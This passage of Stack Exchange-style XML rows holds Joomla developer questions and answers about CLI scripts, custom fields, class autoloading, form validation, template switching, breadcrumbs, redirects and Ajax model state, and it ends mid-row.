  <row Id="31879" PostTypeId="2" ParentId="31878" CreationDate="2022-01-27T01:01:52.357" Score="2" Body="&lt;p&gt;I found when running CLI scripts that other things that you don't really need to execute, i.e. plugins, will cause failures because they don't check themselves to disable if they are running under a CLI environment and so they call things that aren't available to you and fail your script. To 'ignore' these errors I add several lines to bottom of my class to deal with these calls to things that don't exist. For example one of my CLI's has these entries being handled.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function isClient() { return false; }&#xA;public function getTemplate() { return false; }&#xA;public function setHeader() { return false; }&#xA;public function enqueueMessage() { return false; }&#xA;public function allowCache() { return false; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think I picked up that tip from reading about CLI's on Akeeba's website.&lt;/p&gt;&#xA;&lt;p&gt;I also use a __construct method in my class that contains the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  Factory::$application = $this;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which I found was needed to run my CLI's but then mine are using methods in the main component and not like yours where all the code is in the CLI's methods. If things don't work for you, add it and see if it makes a difference.&lt;/p&gt;&#xA;&lt;p&gt;I also put my path to the Model in the __construct so that it only gets processed once per run of the CLI rather than in your code it is added and or checked every time an article is created.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct()&#xA;{&#xA;    parent::__construct();&#xA;   Factory::$application = $this;&#xA;&#xA;    BaseDatabaseModel::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_inventory/models', 'Inventory');&#xA;    $this-&amp;gt;model            = BaseDatabaseModel::getInstance('Inventory', 'InventoryModel');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-01-27T03:27:00.080" LastActivityDate="2022-01-27T03:27:00.080" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31880" PostTypeId="2" ParentId="31876" CreationDate="2022-01-27T06:37:07.127" Score="3" Body="&lt;p&gt;I don't think it's safe to remove field groups based on fieldset names. They are unrelated and could be named differently, leading to unexpected results. And that is exactly the issue you're running into. The fieldsets of Custom Fields are named &lt;code&gt;fields-0&lt;/code&gt;, &lt;code&gt;fields-1&lt;/code&gt; and so on based number of custom field groups (the ones you can create in backend). Meanwhile, the form field group is &lt;code&gt;com_fields&lt;/code&gt;. So you have to remove this group manually:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;removeGroup('com_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or find a way to get the names of all field groups instead of fieldsets.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-01-27T06:37:07.127" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31881" PostTypeId="2" ParentId="31868" CreationDate="2022-01-27T07:09:29.933" Score="3" Body="&lt;p&gt;&lt;code&gt;JLoader::register()&lt;/code&gt; call should include fully qualified class name. In your case it's &lt;code&gt;Myhelper\MyHelper&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('Myhelper\Myhelper', 'templates/mytemplate/html/helper.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The class also needs to be referenced using full name in code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$test = Myhelper\MyHelper::tester(&amp;quot;galopin&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or you can import it with &lt;code&gt;use&lt;/code&gt; statement like any other class in your plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;use Symfony\Component\Console\Input\InputInterface;&#xA;use Symfony\Component\Console\Output\OutputInterface;&#xA;use Symfony\Component\Console\Style\SymfonyStyle;&#xA;use JLoader;&#xA;use Myhelper\Myhelper;&#xA;&#xA;class MyconsoleCommand extends AbstractCommand&#xA;{&#xA;    protected function doExecute(InputInterface $input, OutputInterface $output): int&#xA;    {&#xA;        JLoader::register('Myhelper\Myhelper', 'templates/mytemplate/html/helper.php');&#xA;        $test = Myhelper::tester(&amp;quot;galopin&amp;quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you have many classes and don't want to register them separately, you can either create a custom autoloader or switch to PSR-4 autoloading and use &lt;code&gt;JLoader::registerNamespace()&lt;/code&gt; to register the entire namespace. And once templates support autoloading like other extensions in Joomla, you could remove the use of &lt;code&gt;JLoader&lt;/code&gt; completely.&lt;/p&gt;&#xA;&lt;p&gt;Finally, you are misusing the template's &lt;code&gt;html&lt;/code&gt; directory. It should be used strictly for layouts. You can put your code anywhere else.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-01-27T07:09:29.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31882" PostTypeId="2" ParentId="29071" CreationDate="2022-01-27T20:49:44.863" Score="0" Body="&lt;p&gt;There is no method for saving component parameters. I am using this simple function to achieve it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function saveParams(Registry $params)&#xA;    {&#xA;        $db = Factory::getDbo();&#xA;&#xA;        return $db-&amp;gt;setQuery(&#xA;            'UPDATE #__extensions'&#xA;            . ' SET params = ' . $db-&amp;gt;quote((string) $params)&#xA;            . ' WHERE element = ' . $db-&amp;gt;quote('com_test')&#xA;        )-&amp;gt;execute();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So you can simply pass the result of ComponentHelper::getParams() as it a Registry.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2022-01-27T21:02:07.607" LastActivityDate="2022-01-27T21:02:07.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31883" PostTypeId="2" ParentId="31878" CreationDate="2022-01-27T22:52:02.927" Score="0" Body="&lt;p&gt;In relation to your code the issue is you are not returning the data from the fetchData() so that it can be used by the createArticle(). This value of $articleData is empty at this point.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Run the createArticle bulk data import to articles function&#xA;$this-&amp;gt;createArticle($articleData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update your code with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Fetch the JSON data&#xA;$articleData = $this-&amp;gt;fetchData();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in the bottom of fetchData() update the code to return the data being fetched.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    curl_close($curl);&#xA;&#xA;    $data = json_decode($json, true);&#xA;    return $data&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In your working piece of PHP the code is not using functions/methods so the $data is available and passed from the fetching part to the looping part of your code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl_close($curl);&#xA;&#xA;$data = json_decode($json, true);&#xA;&#xA;foreach ($data as $value) { &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-01-27T22:52:02.927" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31884" PostTypeId="1" CreationDate="2022-01-28T21:56:21.053" Score="2" ViewCount="206" Body="&lt;p&gt;I have a field on my form that is required if another field contains a certain value but otherwise is optional.&#xA;I have set up a custom validator as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.formvalidator.setHandler('description', function(value) {&#xA;    if (comment_required)&#xA;        {&#xA;        return value.length;&#xA;        }&#xA;    else&#xA;        {&#xA;        return true;&#xA;        }&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &amp;quot;comment_required&amp;quot; is set according to whether or not the field is mandatory.&lt;/p&gt;&#xA;&lt;p&gt;If I define the field with a class of &amp;quot;validate-description&amp;quot; (only) it is never validated. If I set a class of &amp;quot;required validate-description&amp;quot; (which is what the Joomla documentation says I should do) the it seems the &amp;quot;required&amp;quot; cuts in first, and the user is not allowed a blank field.&lt;/p&gt;&#xA;" OwnerUserId="16069" LastActivityDate="2022-06-30T23:03:30.307" Title="Conditional client side validation" Tags="|joomla-4|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31885" PostTypeId="2" ParentId="31860" CreationDate="2022-01-29T16:21:40.843" Score="0" Body="&lt;p&gt;I was an idiot - I had missed a closing &lt;code&gt;&amp;lt;\div&amp;gt;&lt;/code&gt; in my index.php so entirely my fault.&lt;/p&gt;&#xA;&lt;p&gt;There is now no need to block the script when a modal pops up as the error no longer appears.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2022-01-29T16:21:40.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31886" PostTypeId="1" CreationDate="2022-01-30T08:14:04.617" Score="2" ViewCount="333" Body="&lt;p&gt;I have created one subform custom fields in my Joomla 4 article from backend and selected media filed at subform&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KfcY5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KfcY5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RVa3V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RVa3V.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;and use this code for load custom fields at joomla article&lt;/p&gt;&#xA;&lt;p&gt;YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/html/com_content/article/default.php&lt;/p&gt;&#xA;&lt;p&gt;code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$context = 'com_content.article';&#xA;$article = $this-&amp;gt;item;&#xA;&#xA;//use the field helper class to get the fields&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$fields = FieldsHelper::getFields($context, $article, true);&#xA;// Added so as to access fields by their name&#xA;&#xA;// GET CUSTOM FIELDS&#xA;foreach($fields as $field) {&#xA;    $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and use this code for fetch&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$programs = $fields['gallery']-&amp;gt;rawvalue;&#xA;$class = $fields['gallery']-&amp;gt;params-&amp;gt;get('render_class');&#xA;$items = json_decode($programs, true);?&amp;gt;&#xA;&#xA;&amp;lt;?php $i = 0; foreach($items as $program): ?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;program &amp;lt;?php echo $class; ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;program__image&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo $program['media']; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php $i++; endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;now I want to render just subform custom fields value in joomla article&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but code above not work for load subform custom fields joomla4 but loaded repeatable custom fields joomla3&lt;/p&gt;&#xA;&lt;p&gt;How to render subform custom fields at joomla4 article ?&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="9530" LastEditDate="2022-02-11T15:02:51.813" LastActivityDate="2023-05-25T08:03:15.460" Title="render Subform repeatable custom fields joomla4" Tags="|joomla-3.x|custom-field|joomla-4.x|subform|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31887" PostTypeId="1" CreationDate="2022-01-30T10:12:32.100" Score="0" ViewCount="22" Body="&lt;p&gt;I am asking myself if it is possible for an existing website to let the anonymous visitor select another template on the fly.&lt;/p&gt;&#xA;&lt;p&gt;The idea behind this is: There are people out there that prefer e.g. a dark theme or a high contrast theme of the page. This might be a personal preference or a requirement due to some inabilities (red/green, blue/yellow color blindness,...). Now, I'd like to put a module somewhere to switch to a new set of styles.&lt;/p&gt;&#xA;&lt;p&gt;The current page uses a configurable template and a dozen styles that define different background colors depending on the current section of the page. So, I would like to define a second set of styles and have them switch depending on a cookie or so.&lt;/p&gt;&#xA;&lt;p&gt;The other alternative I could think of was to alter the template itself. It would have double the number of settings (one regular color and one for the second theme). Depending on a cookie or something similar, either of the color settings would be in effect. A module must be there that just alters that cookie if the user wants to switch themes. As the template is self-written, this was possible in general, but I would have to check all the details.&lt;/p&gt;&#xA;&lt;p&gt;Both solutions seem tedious to me. For the second, I would most probably know how to achieve it but it is the most restricted one. The first could work with a plugin but I'd have to dig into it for a clear statement.&lt;/p&gt;&#xA;&lt;p&gt;Now I wonder: Is there no better way to get there? Do I miss the obvious answer to get the page best suited for accessibility issues?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As I have seen, it seems not quite clear what I mean/need. Let me give you a bit more insight.&lt;/p&gt;&#xA;&lt;p&gt;The page consists of different departments. Each department is associated with color-coding. So, for example, one department is blue and the other one is red. This is solved so far by having a template that is configurable and that allows setting a color property that in turn will be used if the user is navigating a certain page.&lt;/p&gt;&#xA;&lt;p&gt;Speaking Joomla: There are multiple styles of the same template one for each department and the menu entries are associated with the style corresponding to the department.&lt;/p&gt;&#xA;&lt;p&gt;When I allow my users to switch e.g. to a high contrast version, I do want to have the blue department to have a high contrast blue (however this is done) and the red department a high contrast red styling. If the visitor (in high contrast mode) navigates from department red to blue, I want the page to keep in high contrast mode.&lt;br /&gt;&#xA;The user should not be required to switch all modes individually. Nor should the complete page be in one monochrome high contrast scheme or all colors be mixed up.&lt;/p&gt;&#xA;&lt;p&gt;With the existing extensions to let the visitor select the template manually (is it really the template or the style?), I see the problem that all my color-coding might go to hell and each user has his own colo styling. Worst case even the normal colors might get mixed up (like the user accidentally made the red department blue).&lt;/p&gt;&#xA;" OwnerUserId="9259" LastEditorUserId="9259" LastEditDate="2022-01-30T15:49:20.997" LastActivityDate="2022-01-30T15:49:20.997" Title="Is it possible to let the visitor select from different style versions of the site?" Tags="|templates|accessibility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31888" PostTypeId="2" ParentId="31887" CreationDate="2022-01-30T10:25:50.517" Score="1" Body="&lt;p&gt;If you do a search on 'Joomla Template switcher' you will get a number of hits for extensions that allow the site visitor to switch which template they want to use.&lt;/p&gt;&#xA;&lt;p&gt;Joomla used to supply its own selector/switcher as module but I can't recall seeing in Joomla3 and can't see it in Joomla4.&lt;/p&gt;&#xA;&lt;p&gt;I found two in the first couple of pages of Google, one in JED and another in Github.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-01-30T10:25:50.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31889" PostTypeId="1" CreationDate="2022-01-30T20:34:07.873" Score="1" ViewCount="60" Body="&lt;p&gt;I've got this bit of code that works well for my Joomla setup&lt;/p&gt;&#xA;&lt;p&gt;However, due to the way my main menu is set up, the first item in every page we have breadcrumbs enabled is always &amp;quot;Products&amp;quot; grayed out -( can't click) - this is due to &amp;quot;Products&amp;quot; being a &amp;quot;Menu Heading&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;What can I do with the following so the first item is always the same link ( ie &lt;a href=&quot;https://www.example.com/products/product-category&quot; rel=&quot;nofollow noreferrer&quot;&gt;Product Category&lt;/a&gt; )&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; ?&amp;gt;&#xA;&amp;lt;ul class=&amp;quot;uk-breadcrumb&amp;quot;&amp;gt;&amp;lt;?php&#xA;&#xA;    if (!$params-&amp;gt;get('showLast', 1)) array_pop($list);&#xA;&#xA;    for ($i = 0; $i &amp;lt; $count; $i ++) {&#xA;&#xA;        if ($i == 1 &amp;amp;&amp;amp; !empty($list[$i]-&amp;gt;link) &amp;amp;&amp;amp; !empty($list[$i - 1]-&amp;gt;link) &amp;amp;&amp;amp; $list[$i]-&amp;gt;link == $list[$i - 1]-&amp;gt;link)&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        // clean subtitle from breadcrumb&#xA;        if ($pos = strpos($list[$i]-&amp;gt;name, '||')) {&#xA;            $name = trim(substr($list[$i]-&amp;gt;name, 0, $pos));&#xA;        } else {&#xA;            $name = $list[$i]-&amp;gt;name;&#xA;&#xA;        }&#xA;&#xA;        // mark-up last item as strong&#xA;        if ($i &amp;lt; $count-1) {&#xA;            if (!empty($list[$i]-&amp;gt;link)) {&#xA;                echo '&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;'.$list[$i]-&amp;gt;link.'&amp;quot;&amp;gt;'.$name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;li&amp;gt;&amp;lt;span&amp;gt;'.$name.'&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            }&#xA;        } else {&#xA;            echo '&amp;lt;li class=&amp;quot;uk-active&amp;quot;&amp;gt;&amp;lt;span&amp;gt;'.$name.'&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;&#xA;    }&#xA;&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried adding the below to no avail&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;a href=&amp;quot;https://www.example.com/products/product-category&amp;quot;&amp;gt;Product Category&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Essentially, I'm just trying change the Menu Heading in the breadcrumb to a hyperlink, I understand this may not be the best way (hard coding it in) but it will work for my situation.&lt;/p&gt;&#xA;" OwnerUserId="14543" LastEditorUserId="14543" LastEditDate="2022-01-31T15:59:57.637" LastActivityDate="2024-02-21T00:06:30.733" Title="Change first item in Breadcrumb to custom static link" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31890" PostTypeId="2" ParentId="31884" CreationDate="2022-01-30T21:10:56.457" Score="1" Body="&lt;p&gt;Being overly complicated! The solution was simple - the code that sets &amp;quot;comment_required&amp;quot; should add or remove the &amp;quot;required&amp;quot; class on the input field!&lt;/p&gt;&#xA;&lt;p&gt;My code now reads as follows. The website is for storing photos in various galleries (birdlifephotography.org.au). The gallery is selected from a drop down list, and some galleries require the user to put in a comment. There is an array mandatory_comment which specifies if the comment is needed for a specific gallery.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;comment_required=mandatory_comment[gallery_id];&#xA;s=$(&amp;quot;#jform_description-lbl&amp;quot;).html();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;// Add or remove the &amp;quot;*&amp;quot; on the field label that Joomla uses to show the field is required&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (comment_required)&#xA;    {&#xA;    if (s.slice(-2)!=&amp;quot; *&amp;quot;)&#xA;        {&#xA;        $(&amp;quot;#jform_description-lbl&amp;quot;).html(s+&amp;quot; *&amp;quot;);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;// and then add the required class if not present&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if (!$(&amp;quot;#jform_description&amp;quot;).hasClass(&amp;quot;required&amp;quot;))&#xA;        {&#xA;        $(&amp;quot;#jform_description&amp;quot;).addClass(&amp;quot;required&amp;quot;)&#xA;        }&#xA;    }&#xA;else&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;// opposite action if current gallery does not require this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    {&#xA;    if (s.slice(-2)==&amp;quot; *&amp;quot;)&#xA;        {&#xA;        $(&amp;quot;#jform_description-lbl&amp;quot;).val(s.slice(-2));&#xA;        }&#xA;    if ($(&amp;quot;#jform_description&amp;quot;).hasClass(&amp;quot;required&amp;quot;))&#xA;        {&#xA;        $(&amp;quot;#jform_description&amp;quot;).removeClass(&amp;quot;required&amp;quot;)&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16069" LastEditorUserId="16069" LastEditDate="2022-01-31T22:24:13.373" LastActivityDate="2022-01-31T22:24:13.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31891" PostTypeId="1" CreationDate="2022-01-31T05:32:27.963" Score="0" ViewCount="19" Body="&lt;p&gt;I recently updated jDownloads on my Joomla website from 3.2 to 3.9. I noticed that now, when I hover over a link in a category, instead of using the download's name, like it used to, it's now using a function with &amp;quot;?task=download.send&amp;quot; and the ID number. How can I revert to the old functionality, so that links look nicer?&lt;/p&gt;&#xA;&lt;p&gt;I tried looking all over the new options for something similar to 3.2's &amp;quot;search engine friendly&amp;quot; option, but can't see anything like that. Do I need to update the layout, maybe? I don't know what to change, or what to look for.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14246" LastActivityDate="2022-01-31T05:32:27.963" Title="in jDownloads 3.9, how do I make the link to downloads the actual download name, rather than &quot;?task=download.send&quot;" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31892" PostTypeId="2" ParentId="31889" CreationDate="2022-01-31T20:34:33.290" Score="0" Body="&lt;p&gt;I was able to figure this out with some trial and error.&lt;/p&gt;&#xA;&lt;p&gt;I changed one line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;li&amp;gt;&amp;lt;span&amp;gt;'.$name.'&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;a href=&amp;quot;https://www.example.com/products/category&amp;quot;&amp;gt;Category&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the whole finished snippet:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;uk-breadcrumb&amp;quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    if (!$params-&amp;gt;get('showLast', 1)) {&#xA;        array_pop($list);&#xA;    }&#xA;&#xA;    for ($i = 0; $i &amp;lt; $count; $i++) {&#xA;&#xA;        if ($i == 1&#xA;            &amp;amp;&amp;amp; !empty($list[$i]-&amp;gt;link)&#xA;            &amp;amp;&amp;amp; !empty($list[$i - 1]-&amp;gt;link)&#xA;            &amp;amp;&amp;amp; $list[$i]-&amp;gt;link == $list[$i - 1]-&amp;gt;link&#xA;        ) {&#xA;            continue;&#xA;        }&#xA;&#xA;        // clean subtitle from breadcrumb&#xA;        if ($pos = strpos($list[$i]-&amp;gt;name, '||')) {&#xA;            $name = trim(substr($list[$i]-&amp;gt;name, 0, $pos));&#xA;        } else {&#xA;            $name = $list[$i]-&amp;gt;name;&#xA;        }&#xA;&#xA;        // mark-up last item as strong&#xA;        if ($i &amp;lt; $count - 1) {&#xA;            if (!empty($list[$i]-&amp;gt;link)) {&#xA;                echo '&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;' . $list[$i]-&amp;gt;link . '&amp;quot;&amp;gt;' . $name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            } else {&#xA;                echo '&amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;a href=&amp;quot;https://www.example.com/products/category&amp;quot;&amp;gt;Category&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            }&#xA;        } else {&#xA;            echo '&amp;lt;li class=&amp;quot;uk-active&amp;quot;&amp;gt;&amp;lt;span&amp;gt;' . $name . '&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14543" LastEditorUserId="12352" LastEditDate="2022-01-31T21:36:39.623" LastActivityDate="2022-01-31T21:36:39.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31893" PostTypeId="1" CreationDate="2022-01-31T22:52:51.567" Score="1" ViewCount="19" Body="&lt;p&gt;I have a Joomla 3.10.5 site that has recently been reorganized, so we are redirecting the old broken links to their new locations. However, every day when I reopen the component, the new URLs that I have added have query strings appended to the end. Some are short and some are long, and it seems to depend on how often the Expired URL is visited. Here are a few examples of the strings added to the end of the new URLs (that I input clean):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;?view=category&amp;amp;id=9?view=article&amp;amp;id=28%3Atrainings&amp;amp;catid=9&lt;/p&gt;&#xA;&lt;p&gt;?catid=13&amp;amp;id=136%3Alanguage-skills&amp;amp;view=article&lt;/p&gt;&#xA;&lt;p&gt;?format=feed&amp;amp;id=15&amp;amp;type=rss&amp;amp;view=category&lt;/p&gt;&#xA;&lt;p&gt;?id=15&amp;amp;view=category?view=category&amp;amp;id=15&lt;/p&gt;&#xA;&lt;p&gt;?view=article&amp;amp;id=103:autism-classroom-store&amp;amp;catid=20?view=article&amp;amp;id=99:behavior-tools&amp;amp;catid=20?view=article&amp;amp;id=67:blank-schedule-forms&amp;amp;catid=20?view=article&amp;amp;id=65:opening-and-morning-circle-schedule&amp;amp;catid=20?view=article&amp;amp;id=63:free-schedules&amp;amp;catid=20?view=article&amp;amp;id=34:snack-time&amp;amp;catid=20?view=article&amp;amp;id=33:opening-materials&amp;amp;catid=20?view=article&amp;amp;id=32:schedules&amp;amp;catid=20&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I've never observed this behavior before and have no idea what could be causing it. Appreciate any ideas!&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2022-01-31T22:52:51.567" Title="Redirect component adding strings to new URL" Tags="|redirect|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31894" PostTypeId="1" CreationDate="2022-02-01T01:18:35.893" Score="1" ViewCount="30" Body="&lt;p&gt;I have a site which displays a directory of registered users on the frontend. I've allowed users to select topics of interests when they're registering. In the directory they then can search by names or these topics. When the page first loads, the first 6 directory members are displayed. After that, when the users scrolls down I have javascript set up which makes an Ajax call to retrieve more members if needed. It was all working correctly until the latest update to 3.10.4. And I narrowed it down to the Ajax file where it supposed to find if any topics are stored in the state.&lt;/p&gt;&#xA;&lt;p&gt;For the filtering, I added a simple search text field. Then I created a checkboxes list to select the topics to filter by. The items in the checkboxes are being feed from a little database that has all the available topics. In the model's populate state function I included the code to save the state for the &lt;code&gt;filter.search&lt;/code&gt; input field. I just copied it from another component. But for the topics, since it's not really a filter, I added this code to save the state:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $postData = Factory::getApplication()-&amp;gt;input-&amp;gt;post;&#xA;    $data = $postData-&amp;gt;get('jform', [], 'array');&#xA;    $topics = $data['topicsinterest'] ?? [];&#xA;    $this-&amp;gt;setState('filter.topics', $topics);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my &lt;code&gt;getListQuery&lt;/code&gt; function, when I'm querying for all the items I can then check if the &lt;code&gt;filter.search&lt;/code&gt; or &lt;code&gt;filter.topics&lt;/code&gt; are set and then adjust the query accordingly. On initial page load, everything works fine when trying to filter members. When the user tries to scroll to view more members, the Ajax call is sent and this is where the problem lies. It works fine only if I'm using &lt;code&gt;filter.search&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is the code that I'm using in my Ajax file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_memberdirectory/models', 'MemberdirectoryModelMembers');   &#xA;$model = JModelLegacy::getInstance('members', 'MemberdirectoryModel');  &#xA;$search = $model-&amp;gt;getState('filter.search');&#xA;$topics = $model-&amp;gt;getState('filter.topics');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;$search&lt;/code&gt; gets me the state data if it's there, but &lt;code&gt;$topics&lt;/code&gt; always returns an empty array. It used to work just fine before the latest update.&lt;/p&gt;&#xA;&lt;p&gt;I think it has to do with how I'm saving the state since it's different from the default filters. But I don't understand why if the state is being saved, why can't I retrieve it from any other file.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9821" LastActivityDate="2022-02-01T01:18:35.893" Title="Retrieving state variables using Ajax in 3.10.4" 